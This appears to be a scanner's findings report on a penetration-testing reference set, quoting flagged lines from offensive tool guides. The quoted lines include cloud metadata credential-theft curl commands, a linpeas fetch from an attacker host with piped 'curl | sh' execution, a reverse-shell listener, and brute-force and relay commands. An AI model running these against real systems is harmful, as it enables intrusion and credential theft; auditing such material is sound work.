# Show only verified (confirmed active) secrets trufflehog git https://github.com/target-org/target-repo.git --results verified - Network accessline 59
trufflehog git https://github.com/target-org/target-repo.git --results verified - Network accessline 61
# Scan only recent commits trufflehog git https://github.com/target-org/target-repo.git --since-commit abc123 - Network accessline 62
trufflehog git https://github.com/target-org/target-repo.git --since-commit abc123 - Network accessline 64
# Skip live verification (faster, quieter) trufflehog git https://github.com/target-org/target-repo.git --no-verification - Network accessline 65
trufflehog git https://github.com/target-org/target-repo.git --no-verification - Network accessline 80
- [TruffleHog (GitHub)](https://github.com/trufflesecurity/trufflehog) - Network accessline 81
- [Kali trufflehog](https://www.kali.org/tools/trufflehog/)
kali-pentest/references/information-gathering/tools/wafw00f.md
- Dangerous shell operationline 15
sudo apt install wafw00f - Network accessline 36
# Basic detection wafw00f http://target.com - Network accessline 37
wafw00f http://target.com - Network accessline 39
# HTTPS wafw00f https://target.com - Network accessline 40
wafw00f https://target.com - Network accessline 42
# Detect all possible WAFs wafw00f -a https://target.com - Network accessline 43
wafw00f -a https://target.com - Network accessline 48
# JSON output wafw00f https://target.com -o /tmp/waf_result.json -f json - Network accessline 49
wafw00f https://target.com -o /tmp/waf_result.json -f json - Network accessline 51
# Use proxy wafw00f https://target.com -p http://127.0.0.1:8080 - Network accessline 52
wafw00f https://target.com -p http://127.0.0.1:8080 - Network accessline 66
- [wafw00f GitHub](https://github.com/EnableSecurity/wafw00f)
kali-pentest/references/information-gathering/tools/whatweb.md
- Dangerous shell operationline 17
sudo apt install whatweb - Network accessline 32
| Parameter | Description | |-----------|-------------| | `<target>` | URL / IP / CIDR / file Example: `http://example.com` | - Network accessline 33
|-----------|-------------| | `<target>` | URL / IP / CIDR / file Example: `http://example.com` | | `-i <file>` | Read targets from file Example: `-i targets.txt` | - Network accessline 34
| `<target>` | URL / IP / CIDR / file Example: `http://example.com` | - Network accessline 73
# Basic web fingerprinting whatweb http://example.com - Network accessline 74
whatweb http://example.com - Network accessline 76
# HTTPS target whatweb https://example.com - Network accessline 77
whatweb https://example.com - Network accessline 79
# Verbose output whatweb -v http://example.com - Network accessline 80
whatweb -v http://example.com - Network accessline 82
# Quiet mode (results only) whatweb -q http://example.com - Network accessline 83
whatweb -q http://example.com - Network accessline 102
# Aggressive mode (more probing, detects more technologies) whatweb -a 3 http://example.com - Network accessline 103
whatweb -a 3 http://example.com - Network accessline 105
# Maximum aggression (comprehensive detection) whatweb -a 4 http://example.com - Network accessline 106
whatweb -a 4 http://example.com - Network accessline 112
# JSON output (easy to parse) whatweb --log-json results.json http://example.com - Network accessline 113
whatweb --log-json results.json http://example.com - Network accessline 115
# XML output whatweb --log-xml results.xml http://example.com - Network accessline 116
whatweb --log-xml results.xml http://example.com - Network accessline 118
# Verbose log whatweb --log-verbose results.txt http://example.com - Network accessline 119
whatweb --log-verbose results.txt http://example.com - Network accessline 125
# HTTP basic authentication whatweb --user admin:password http://example.com/admin - Network accessline 126
whatweb --user admin:password http://example.com/admin - Network accessline 128
# Use cookie whatweb --cookie "session=abc123" http://example.com - Network accessline 129
whatweb --cookie "session=abc123" http://example.com - Network accessline 131
# Through Burp proxy whatweb --proxy 127.0.0.1:8080 http://example.com - Network accessline 132
whatweb --proxy 127.0.0.1:8080 http://example.com - Network accessline 134
# Custom User-Agent whatweb -U "Mozilla/5.0 (Custom)" http://example.com - Network accessline 135
whatweb -U "Mozilla/5.0 (Custom)" http://example.com - Network accessline 137
whatweb --user-agent "Mozilla/5.0 (Custom)" http://example.com - Network accessline 166
- [WhatWeb GitHub](https://github.com/urbanadventurer/WhatWeb)
kali-pentest/references/information-gathering/tools/whois.md
kali-pentest/references/password/README.md
- Network accessline 210
- [Kali Tools](https://www.kali.org/tools/all-tools/)
kali-pentest/references/password/tools/brutespray.md
kali-pentest/references/password/tools/cewl.md
- Dangerous shell operationline 15
sudo apt install cewl - Network accessline 37
# Basic crawl, minimum 6-character words cewl http://target.com -m 6 -w /tmp/target_wordlist.txt - Network accessline 38
cewl http://target.com -m 6 -w /tmp/target_wordlist.txt - Network accessline 40
# Crawl depth 3, extract emails cewl http://target.com -d 3 -m 5 --email -w /tmp/wordlist.txt - Network accessline 41
cewl http://target.com -d 3 -m 5 --email -w /tmp/wordlist.txt - Network accessline 43
# Crawl HTTPS cewl https://target.com -m 6 -w /tmp/wordlist.txt - Network accessline 44
cewl https://target.com -m 6 -w /tmp/wordlist.txt - Network accessline 46
# Add numeric variants (combine with john rules) cewl http://target.com -m 6 -w /tmp/base.txt - Network accessline 47
cewl http://target.com -m 6 -w /tmp/base.txt - Network accessline 52
# Crawl pages requiring authentication cewl http://target.com --auth_user admin --auth_pass password -m 6 -w /tmp/wordlist.txt - Network accessline 53
cewl http://target.com --auth_user admin --auth_pass password -m 6 -w /tmp/wordlist.txt - Network accessline 68
- [CeWL (GitHub)](https://github.com/digininja/CeWL)
kali-pentest/references/password/tools/changeme.md
- Dangerous shell operationline 15
sudo apt install changeme - Network accessline 60
# Scan with proxy (useful with Burp Suite) changeme --protocols http --proxy http://127.0.0.1:8080 192.168.1.0/24 - Network accessline 61
changeme --protocols http --proxy http://127.0.0.1:8080 192.168.1.0/24 - Network accessline 88
- [changeme (GitHub)](https://github.com/ztgrace/changeme) - Network accessline 89
- [Kali changeme](https://www.kali.org/tools/changeme/)
kali-pentest/references/password/tools/chntpw.md
kali-pentest/references/password/tools/crowbar.md
kali-pentest/references/password/tools/crunch.md
kali-pentest/references/password/tools/fcrackzip.md
kali-pentest/references/password/tools/gpp-decrypt.md
kali-pentest/references/password/tools/hashcat.md
- Dangerous shell operationline 15
sudo apt install hashcat - Dangerous shell operationline 62
sudo gunzip /usr/share/wordlists/rockyou.txt.gz # Only if .gz exists and .txt is missing - Network accessline 126
- [Hashcat Wiki](https://hashcat.net/wiki/) - Network accessline 127
- [Hashcat (GitHub)](https://github.com/hashcat/hashcat) - Network accessline 128
- [Hashcat Official Site](https://hashcat.net/hashcat/)
kali-pentest/references/password/tools/hashid.md
kali-pentest/references/password/tools/hydra.md
- Dangerous shell operationline 15
sudo apt install hydra - Network accessline 66
# Format: "/path:POST_body:failure_string" # ⚠<U+FE0F> The failure string must match text in the FAILED login response body # Use Burp Suite or curl to confirm the exact failure message before running - Network accessline 68
# Use Burp Suite or curl to confirm the exact failure message before running - Network accessline 107
- [THC-Hydra (GitHub)](https://github.com/vanhauser-thc/thc-hydra)
kali-pentest/references/password/tools/john.md
kali-pentest/references/password/tools/kerbrute.md
- Network accessline 15
# Download the Linux amd64 release binary from the official GitHub releases page curl -L https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64 -o kerbrute - Network accessline 16
curl -L https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64 -o kerbrute - Dangerous shell operationline 19
sudo mv kerbrute /usr/local/bin/kerbrute - Network accessline 71
- [kerbrute (GitHub)](https://github.com/ropnop/kerbrute)
kali-pentest/references/password/tools/medusa.md
kali-pentest/references/password/tools/name-that-hash.md
kali-pentest/references/password/tools/ncrack.md
kali-pentest/references/password/tools/netexec.md
kali-pentest/references/password/tools/patator.md
- Dangerous shell operationline 15
sudo apt install patator - Network accessline 45
# HTTP form fuzzing patator http_fuzz url=http://target.com/login method=POST body='user=FILE0&pass=FILE1' 0=users.txt 1=passwords.txt -x ignore:fgrep='Invalid' - Network accessline 46
patator http_fuzz url=http://target.com/login method=POST body='user=FILE0&pass=FILE1' 0=users.txt 1=passwords.txt -x ignore:fgrep='Invalid' - Network accessline 64
- [patator GitHub](https://github.com/lanjelot/patator) - Network accessline 65
- [Kali patator](https://www.kali.org/tools/patator/)
kali-pentest/references/password/tools/pdfcrack.md
kali-pentest/references/password/tools/rainbowcrack.md
- Dangerous shell operationline 15
sudo apt install rainbowcrack - Network accessline 53
# Download pre-generated tables (recommended — generation takes days) # NTLM/LM tables: https://ophcrack.sourceforge.io/tables.php - Network accessline 54
# NTLM/LM tables: https://ophcrack.sourceforge.io/tables.php - Network accessline 55
# Free tables: https://www.freerainbowtables.com/ - Network accessline 79
- [Kali rainbowcrack](https://www.kali.org/tools/rainbowcrack/) - Network accessline 80
- [Kali rainbowcrack package tracker](https://pkg.kali.org/pkg/rainbowcrack)
kali-pentest/references/password/tools/responder.md
- Dangerous shell operationline 15
sudo apt install responder - Dangerous shell operationline 43
sudo responder -I eth0 - Dangerous shell operationline 46
sudo responder -I eth0 -wd - Dangerous shell operationline 49
sudo responder -I eth0 -A - Network accessline 73
- [Responder (GitHub)](https://github.com/lgandx/Responder)
kali-pentest/references/playbooks/api-security.md
- Network accessline 24
mitmdump -w /tmp/api.flows mitmproxy2swagger -i /tmp/api.flows -o /tmp/openapi.yaml -p https://api.example.com - Network accessline 25
mitmproxy2swagger -i /tmp/api.flows -o /tmp/openapi.yaml -p https://api.example.com - Network accessline 41
# schemathesis — schema-driven testing st run https://target/openapi.json --checks all --url https://target - Network accessline 42
st run https://target/openapi.json --checks all --url https://target - Network accessline 64
```bash curl -sk https://<frontend-host>/main.js -o /tmp/main.js - Network accessline 65
curl -sk https://<frontend-host>/main.js -o /tmp/main.js - Access to secretsline 85
[Credential-related source omitted] - Network accessline 98
```bash mitmdump -s /tmp/sign_addon.py --listen-port 8080 --set ssl_insecure=true --set http2=false & # Verify: curl -sk -x http://127.0.0.1:8080 https://target/endpoint - Network accessline 99
mitmdump -s /tmp/sign_addon.py --listen-port 8080 --set ssl_insecure=true --set http2=false & # Verify: curl -sk -x http://127.0.0.1:8080 https://target/endpoint ``` - Network accessline 100
# Verify: curl -sk -x http://127.0.0.1:8080 https://target/endpoint - Network accessline 116
- If bypass confirmed: inject static bypass headers directly (e.g., `-H "X-Signature: <bypass_value>"`). - If proxy built: route all tools through the proxy (`--proxy=http://127.0.0.1:8080`). - Network accessline 117
- If proxy built: route all tools through the proxy (`--proxy=http://127.0.0.1:8080`). - Network accessline 163
- Test API parameters for SQL injection, NoSQL injection, command injection, LDAP injection, and XML external entity (XXE) attacks. - Use `sqlmap` (see `../web/tools/sqlmap.md`) with API-specific options: save a representative request to - Network accessline 164
- Use `sqlmap` (see `../web/tools/sqlmap.md`) with API-specific options: save a representative request to a file and run `sqlmap -r request.txt --batch`; for JSON bodies use `--data` with the correct `--headers="Content-Type: application/js - Network accessline 165
- Test for SSRF through URL and file parameters — supply internal addresses (`http://169.254.169.254/`, `http://127.0.0.1:<port>`) and observe responses. - Network accessline 172
sqlmap -r /tmp/api_request.txt --batch --level=3 --risk=2 # JSON body injection sqlmap -u "https://api.example.com/v1/search" --data='{"query":"test"}' --headers="Content-Type: application/json" --batch - Network accessline 174
sqlmap -u "https://api.example.com/v1/search" --data='{"query":"test"}' --headers="Content-Type: application/json" --batch - Network accessline 206
# Test CORS with arbitrary origin curl -s -H "Origin: https://evil.com" -I https://api.example.com/v1/endpoint | grep -i "access-control" - Network accessline 207
curl -s -H "Origin: https://evil.com" -I https://api.example.com/v1/endpoint | grep -i "access-control" - Network accessline 208
# Test null origin curl -s -H "Origin: null" -I https://api.example.com/v1/endpoint | grep -i "access-control" # Test with credentials flag - Network accessline 209
curl -s -H "Origin: null" -I https://api.example.com/v1/endpoint | grep -i "access-control" - Network accessline 211
curl -s -H "Origin: https://evil.com" -H "Cookie: session=TOKEN" -I https://api.example.com/v1/endpoint | grep -i "access-control"
kali-pentest/references/playbooks/cloud-native-assessment.md
- Access to secretsline 98
[Credential-related source omitted] - Network accessline 198
# docker-bench-security — audit Docker host configuration cd /tmp && git clone https://github.com/docker/docker-bench-security.git && cd docker-bench-security - Network accessline 199
cd /tmp && git clone https://github.com/docker/docker-bench-security.git && cd docker-bench-security - Dangerous shell operationline 200
sudo ./docker-bench-security.sh -l /tmp/docker-bench.log - Network accessline 250
# AWS — test IMDS access (IMDSv1) curl -s http://169.254.169.254/latest/meta-data/ - Network accessline 251
curl -s http://169.254.169.254/latest/meta-data/ - Network accessline 252
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ - Network accessline 253
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME - Network accessline 255
[Credential-related source omitted] - Network accessline 256
[Credential-related source omitted] - Network accessline 257
[Credential-related source omitted] - Network accessline 262
# Azure — test IMDS curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" - Network accessline 263
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" - Network accessline 264
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" - Network accessline 266
# GCP — test metadata curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token - Network accessline 267
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token - Network accessline 268
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/project/project-id
kali-pentest/references/playbooks/internal-network-protocols.md
- Network accessline 97
nmap -p 21 --script ftp-anon,ftp-bounce,ftp-syst,ftp-vsftpd-backdoor <ip> # Manual anonymous access verification (nmap scripts can give false negatives due to PASV issues) curl -s ftp://anonymous:anonymous@<ip>/ - Network accessline 98
# Manual anonymous access verification (nmap scripts can give false negatives due to PASV issues) curl -s ftp://anonymous:anonymous@<ip>/ # Recursive directory listing (discover subdirectories with backup files) - Network accessline 99
curl -s ftp://anonymous:anonymous@<ip>/ - Network accessline 100
# Recursive directory listing (discover subdirectories with backup files) wget --spider -r --no-remove-listing ftp://anonymous:anonymous@<ip>/ 2>&1 | grep -E 'directory|listing' # Search for sensitive files in accessible directories - Network accessline 101
wget --spider -r --no-remove-listing ftp://anonymous:anonymous@<ip>/ 2>&1 | grep -E 'directory|listing' - Network accessline 102
# Search for sensitive files in accessible directories curl -s ftp://anonymous:anonymous@<ip>/ | grep -iE '\.(tar|zip|gz|bak|sql|conf|env|key|pem|kdbx)' # Writable directory test - Network accessline 103
curl -s ftp://anonymous:anonymous@<ip>/ | grep -iE '\.(tar|zip|gz|bak|sql|conf|env|key|pem|kdbx)' - Network accessline 105
curl -s -T /tmp/test_upload.txt ftp://anonymous:anonymous@<ip>/pub/ && echo "WRITABLE"
kali-pentest/references/playbooks/internal-network.md
- Network accessline 77
openssl s_client -alpn http/1.1 -connect <ip>:<port> </dev/null 2>/dev/null | grep -E 'ALPN|Protocol' # Step 3: Banner capture nc -w3 <ip> <port> 2>/dev/null | head -c 512 | xxd | head - Network accessline 78
# Step 3: Banner capture nc -w3 <ip> <port> 2>/dev/null | head -c 512 | xxd | head curl -sk https://<ip>:<port>/ -o /dev/null -w '%{http_code}\n' - Network accessline 79
nc -w3 <ip> <port> 2>/dev/null | head -c 512 | xxd | head - Network accessline 80
curl -sk https://<ip>:<port>/ -o /dev/null -w '%{http_code}\n'
kali-pentest/references/playbooks/mobile-application.md
- Access to secretsline 30
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 66
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Access to secretsline 78
[Credential-related source omitted]
kali-pentest/references/playbooks/post-exploitation.md
- Dangerous shell operationline 66
**Zero-findings fallback:** If linpeas/winpeas find no escalation paths, manually check SUID/SGID binaries, sudo misconfigurations, writable cron jobs, kernel version against known exploits, and service account permissions. On Windows, chec - Access to secretsline 98
[Credential-related source omitted]
kali-pentest/references/playbooks/reporting-workflow.md
- Network accessline 40
- Use CVSS v4.0 base score calculation as the default: Attack Vector, Attack Complexity, Privileges Required, User Interaction, Scope, and CIA impact. Use CVSS v3.1 when the client specifically requests it or when comparing against vulnerab - Network accessline 41
- Apply Environmental and Temporal adjustments when the target environment context is known (e.g., compensating controls, exploit maturity). - Reference the [CVSS Calculator](https://www.first.org/cvss/calculator/4.0) for consistent scor - Network accessline 42
- Reference the [CVSS Calculator](https://www.first.org/cvss/calculator/4.0) for consistent scoring.
kali-pentest/references/playbooks/source-code-audit.md
kali-pentest/references/playbooks/web-application.md
- Network accessline 18
- **TLS cipher audit**: run `sslscan` (see `../vulnerability/tools/sslscan.md`) or `testssl.sh` (see `../vulnerability/tools/testssl.sh.md`) to enumerate all accepted cipher suites and check for known TLS attacks (ROBOT, DROWN, CCS injectio - Network accessline 19
- **Wildcard certificate → subdomain enumeration**: if the TLS certificate contains a wildcard SAN (e.g., `*.example.com`), enumerate subdomains with DNS queries and probe each for distinct services or response codes. - **CORS origin rec - Network accessline 20
- **CORS origin reconnaissance**: if the `Access-Control-Allow-Origin` header names a specific origin (e.g., `https://app.example.com`), probe that origin for headers, CSP directives, cookies, and technology details — its response metadata - Network accessline 38
```bash # Download JS files curl -sk https://<target>/main.js -o /tmp/main.js - Network accessline 39
# Download JS files curl -sk https://<target>/main.js -o /tmp/main.js # Search for URLs, API paths, subdomains, and secrets - Network accessline 40
curl -sk https://<target>/main.js -o /tmp/main.js - Network accessline 96
```bash commix --url "http://target/page?param=INJECT_HERE" --level=3 --batch - Network accessline 97
commix --url "http://target/page?param=INJECT_HERE" --level=3 --batch - Network accessline 101
- **Deserialization**: identify serialized objects in parameters or cookies; test with known gadget chains (Java/PHP/.NET). For PHP deserialization, use `phpggc` to generate gadget chains (see `../web/tools/phpggc.md`). For padding oracle a - Network accessline 102
- **HTTP request smuggling**: test CL/TE and TE/CL confusion where front-end and back-end servers differ. - **SSRF**: test URL and file parameters for internal network access, cloud metadata (`http://169.254.169.254`), and internal servi - Network accessline 103
- **SSRF**: test URL and file parameters for internal network access, cloud metadata (`http://169.254.169.254`), and internal service enumeration. - Network accessline 129
- **JWT flaws**: `alg:none`, weak secret, `kid` injection — use `jwt_tool` to verify (see `../web/tools/jwt_tool.md`). - **IDOR / BOLA**: replace object IDs across roles and verify response differences. - **CORS misconfiguration** - Network accessline 130
- **IDOR / BOLA**: replace object IDs across roles and verify response differences. - **CORS misconfiguration**: send `Origin: https://evil.com` and check reflected header. - **CSRF**: confirm token binding; test with or without t - Network accessline 131
- **CORS misconfiguration**: send `Origin: https://evil.com` and check reflected header. - Network accessline 137
# Route sqlmap through authenticated proxy session sqlmap -u "<url>" --proxy http://127.0.0.1:8080 --cookie="session=<token>" - Network accessline 138
sqlmap -u "<url>" --proxy http://127.0.0.1:8080 --cookie="session=<token>"
kali-pentest/references/post-exploitation/README.md
- Dangerous shell operationline 31
Automatically enumerates exploitable privilege escalation paths on the system, including SUID/SUDO configurations, scheduled tasks, service configurations, unpatched vulnerabilities, and more. The first tool to run after gaining a shell. - Dangerous shell operationline 81
1. **sudo misconfigurations** -- `sudo -l` to list allowed commands. Check [GTFOBins](https://gtfobins.github.io/) for exploitable binaries. - Network accessline 81
1. **sudo misconfigurations** -- `sudo -l` to list allowed commands. Check [GTFOBins](https://gtfobins.github.io/) for exploitable binaries. - Dangerous shell operationline 187
| linpeas/winpeas report no escalation paths | Manually verify: SUID/sudo (Linux), SeImpersonate/unquoted paths (Windows) — see Privilege Escalation section above | - Network accessline 196
- [Kali Tools](https://www.kali.org/tools/all-tools/)
kali-pentest/references/post-exploitation/tools/bloodhound.md
- Dangerous shell operationline 25
sudo apt install bloodhound neo4j - Network accessline 27
# Start Neo4j database sudo neo4j start # Access http://localhost:7474 to change the default password (neo4j/neo4j → custom) - Dangerous shell operationline 28
sudo neo4j start - Network accessline 29
# Access http://localhost:7474 to change the default password (neo4j/neo4j → custom) - Network accessline 34
# --- BloodHound Community Edition (CE) v5+ can be deployed with Docker --- # git clone https://github.com/SpecterOps/BloodHound.git - Network accessline 35
# git clone https://github.com/SpecterOps/BloodHound.git - Network accessline 36
# cd BloodHound && docker compose -f examples/docker-compose/docker-compose.yml up # Access http://localhost:8080 (credentials printed on first run) # Use the current SharpHound release for CE collection when possible - Network accessline 37
# Access http://localhost:8080 (credentials printed on first run) - Network accessline 59
# Download SharpHound from: # BloodHound 4.x: https://github.com/SpecterOps/BloodHound-Legacy/tree/master/Collectors - Network accessline 60
# BloodHound 4.x: https://github.com/SpecterOps/BloodHound-Legacy/tree/master/Collectors - Network accessline 61
# BloodHound CE: https://github.com/SpecterOps/SharpHound (use matching version!) - Network accessline 127
- [BloodHound CE v5+ (GitHub)](https://github.com/SpecterOps/BloodHound) - Network accessline 128
- [BloodHound Documentation](https://bloodhound.specterops.io) - Network accessline 129
- [SharpHound Collector — CE (GitHub)](https://github.com/SpecterOps/SharpHound) - Network accessline 130
- [SharpHound Collector — Legacy 4.x (GitHub)](https://github.com/SpecterOps/BloodHound-Legacy/tree/master/Collectors) - Network accessline 131
- [bloodhound-python (GitHub)](https://github.com/dirkjanm/BloodHound.py)
kali-pentest/references/post-exploitation/tools/bloodhound.py.md
kali-pentest/references/post-exploitation/tools/bloodyad.md
kali-pentest/references/post-exploitation/tools/certipy-ad.md
- Dangerous shell operationline 15
sudo apt install certipy-ad - Network accessline 60
# NTLM relay attack against AD CS (pair with coercer or mitm6) certipy-ad relay -target http://192.168.1.10 -template 'Machine' - Network accessline 61
certipy-ad relay -target http://192.168.1.10 -template 'Machine' - Network accessline 76
- [Certipy (GitHub)](https://github.com/ly4k/Certipy) - Network accessline 77
- [Kali certipy-ad](https://www.kali.org/tools/certipy-ad/)
kali-pentest/references/post-exploitation/tools/dnscat2.md
kali-pentest/references/post-exploitation/tools/dploot.md
kali-pentest/references/post-exploitation/tools/havoc.md
- Dangerous shell operationline 15
sudo apt install havoc - Network accessline 17
# Or build from source git clone https://github.com/HavocFramework/Havoc.git - Network accessline 18
git clone https://github.com/HavocFramework/Havoc.git - Network accessline 71
# Python API example: # from havoc import Havoc # h = Havoc("https://teamserver:40056", "operator", "password") - Network accessline 72
# from havoc import Havoc # h = Havoc("https://teamserver:40056", "operator", "password") # h.generate_payload(listener="http-listener", arch="x64", format="exe") - Network accessline 73
# h = Havoc("https://teamserver:40056", "operator", "password") - Network accessline 101
- [Havoc (GitHub)](https://github.com/HavocFramework/Havoc) - Network accessline 102
- [Kali havoc](https://www.kali.org/tools/havoc/)
kali-pentest/references/post-exploitation/tools/hekatomb.md
kali-pentest/references/post-exploitation/tools/krbrelayx.md
- Dangerous shell operationline 16
sudo apt install krbrelayx - Network accessline 21
# Or clone from GitHub git clone https://github.com/dirkjanm/krbrelayx.git - Network accessline 22
git clone https://github.com/dirkjanm/krbrelayx.git - Network accessline 161
- [krbrelayx (GitHub)](https://github.com/dirkjanm/krbrelayx) - Network accessline 162
- [Kali krbrelayx](https://www.kali.org/tools/krbrelayx/)
kali-pentest/references/post-exploitation/tools/lapsdumper.md
kali-pentest/references/post-exploitation/tools/linpeas.md
- Dangerous shell operationline 20
sudo apt install peass - Network accessline 23
# Or download the latest version from GitHub curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh - Network accessline 24
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh - Network accessline 25
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe -o /tmp/winpeas.exe - Network accessline 27
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx86.exe -o /tmp/winpeas32.exe - Dangerous shell operationline 45
- Sudo permissions (sudo -l) - Network accessline 70
# Or via Python HTTP server python3 -m http.server 8080 # On Kali wget http://<kali-ip>:8080/linpeas.sh -O /tmp/linpeas.sh # On target - Network accessline 72
wget http://<kali-ip>:8080/linpeas.sh -O /tmp/linpeas.sh # On target - Network accessline 78
# Quick execution (no file drop, only when internet access is available) curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh - Dangerous shell operationline 79
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh - Network accessline 79
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh - Network accessline 107
2. Always redirect output to a file (`tee /tmp/linpeas_output.txt`) — the full scan takes several minutes and the output is extensive. 3. Use `-o` to run specific check categories only when time is limited or you want to reduce noise. 4. Fo - Network accessline 108
3. Use `-o` to run specific check categories only when time is limited or you want to reduce noise. 4. For fileless execution (no disk drop), pipe directly from curl: `curl -L <url> | sh` — only use on internet-connected targets. 5. PEASS-n - Dangerous shell operationline 109
4. For fileless execution (no disk drop), pipe directly from curl: `curl -L <url> | sh` — only use on internet-connected targets. - Network accessline 109
4. For fileless execution (no disk drop), pipe directly from curl: `curl -L <url> | sh` — only use on internet-connected targets. - Network accessline 116
- [PEASS-ng (GitHub)](https://github.com/peass-ng/PEASS-ng) - Network accessline 117
- [linPEAS (GitHub)](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS)
kali-pentest/references/post-exploitation/tools/linux-exploit-suggester.md
- Dangerous shell operationline 15
sudo apt update - Dangerous shell operationline 16
sudo apt install linux-exploit-suggester - Network accessline 67
- [linux-exploit-suggester GitHub](https://github.com/The-Z-Labs/linux-exploit-suggester) - Network accessline 68
- [Kali linux-exploit-suggester](https://www.kali.org/tools/linux-exploit-suggester/)
kali-pentest/references/post-exploitation/tools/lsassy.md
- Network accessline 18
# Kali package tracker lists the source package as python-lsassy # https://pkg.kali.org/pkg/python-lsassy - Network accessline 19
# https://pkg.kali.org/pkg/python-lsassy - Network accessline 73
- [lsassy (GitHub)](https://github.com/Hackndo/lsassy) - Network accessline 74
- [Kali Package Tracker: python-lsassy](https://pkg.kali.org/pkg/python-lsassy)
kali-pentest/references/post-exploitation/tools/mimikatz.md
- Network accessline 15
# Download current Windows builds from the official release page # https://github.com/gentilkiwi/mimikatz/releases - Network accessline 16
# https://github.com/gentilkiwi/mimikatz/releases - Network accessline 122
- [Mimikatz (GitHub)](https://github.com/gentilkiwi/mimikatz) - Network accessline 123
- [Mimikatz Wiki](https://github.com/gentilkiwi/mimikatz/wiki)
kali-pentest/references/post-exploitation/tools/powershell-empire.md
- Dangerous shell operationline 15
sudo apt install powershell-empire - Dangerous shell operationline 18
sudo powershell-empire server - Network accessline 23
# Or install from GitHub git clone --recursive https://github.com/BC-SECURITY/Empire.git - Network accessline 24
git clone --recursive https://github.com/BC-SECURITY/Empire.git - Dangerous shell operationline 72
sudo powershell-empire server - Network accessline 132
- [Empire (GitHub)](https://github.com/BC-SECURITY/Empire) - Network accessline 133
- [Kali powershell-empire](https://www.kali.org/tools/powershell-empire/) - Network accessline 134
- [BC Security - Empire Documentation](https://bc-security.gitbook.io/empire-wiki)
kali-pentest/references/post-exploitation/tools/powersploit.md
- Dangerous shell operationline 15
sudo apt install powersploit - Network accessline 20
# Or clone from GitHub git clone https://github.com/PowerShellMafia/PowerSploit.git - Network accessline 21
git clone https://github.com/PowerShellMafia/PowerSploit.git - Network accessline 98
# Set up listener for reverse shell payloads nc -lvnp 4444 - Network accessline 99
nc -lvnp 4444 - Network accessline 154
- [PowerSploit (GitHub)](https://github.com/PowerShellMafia/PowerSploit) - Network accessline 155
- [Kali powersploit](https://www.kali.org/tools/powersploit/)
kali-pentest/references/post-exploitation/tools/proxychains.md
- Dangerous shell operationline 15
sudo apt install proxychains4 - Network accessline 45
# Execute any command through the proxy proxychains nmap -sT 10.10.10.0/24 proxychains curl http://internal-server/ - Network accessline 46
proxychains nmap -sT 10.10.10.0/24 proxychains curl http://internal-server/ proxychains ssh root@192.168.100.50 - Network accessline 47
proxychains curl http://internal-server/ - Network accessline 75
- [proxychains (GitHub)](https://github.com/haad/proxychains) - Network accessline 76
- [proxychains-ng - Kali Default (GitHub)](https://github.com/rofl0r/proxychains-ng)
kali-pentest/references/post-exploitation/tools/pspy.md
- Network accessline 15
# Download (check https://github.com/DominicBreuker/pspy/releases for the latest version) - Network accessline 16
# v1.2.1 shown here; replace with current release tag wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -O /tmp/pspy64 wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32 -O /tmp/pspy32 # 3 - Network accessline 17
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -O /tmp/pspy64 - Network accessline 18
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32 -O /tmp/pspy32 # 32-bit systems - Network accessline 20
# Alternatively, download the latest via GitHub releases API: # curl -sL https://github.com/DominicBreuker/pspy/releases/latest | grep -oP 'href="[^"]+pspy64"' | head -1 - Network accessline 21
# curl -sL https://github.com/DominicBreuker/pspy/releases/latest | grep -oP 'href="[^"]+pspy64"' | head -1 - Network accessline 86
- [pspy (GitHub)](https://github.com/DominicBreuker/pspy)
kali-pentest/references/post-exploitation/tools/pwncat.md
- Network accessline 10
pwncat (by cytopia) is an enhanced netcat implementation written in Python. It operates in four modes: connect, listen, zero-I/O (port scanning), and forward (local/remote port forwarding). Beyond basic netcat functionality, pwncat provides - Dangerous shell operationline 17
sudo apt install pwncat - Network accessline 163
- [pwncat GitHub Repository (cytopia)](https://github.com/cytopia/pwncat) - Network accessline 164
- [pwncat Kali Tools Page](https://www.kali.org/tools/pwncat/)
kali-pentest/references/post-exploitation/tools/sliver.md
- Network accessline 15
# Install via official installer curl https://sliver.sh/install | sudo bash - Dangerous shell operationline 16
curl https://sliver.sh/install | sudo bash - Network accessline 16
curl https://sliver.sh/install | sudo bash - Network accessline 58
- [Sliver Documentation](https://sliver.sh/) - Network accessline 59
- [Sliver GitHub](https://github.com/BishopFox/sliver)
kali-pentest/references/post-exploitation/tools/sshuttle.md
- Dangerous shell operationline 15
sudo apt install sshuttle - Dangerous shell operationline 74
1. Requires root/sudo on the local machine (to modify iptables/pf rules), but no root on the remote server. - Network accessline 85
- [sshuttle (GitHub)](https://github.com/sshuttle/sshuttle) - Network accessline 86
- [Kali sshuttle](https://www.kali.org/tools/sshuttle/)
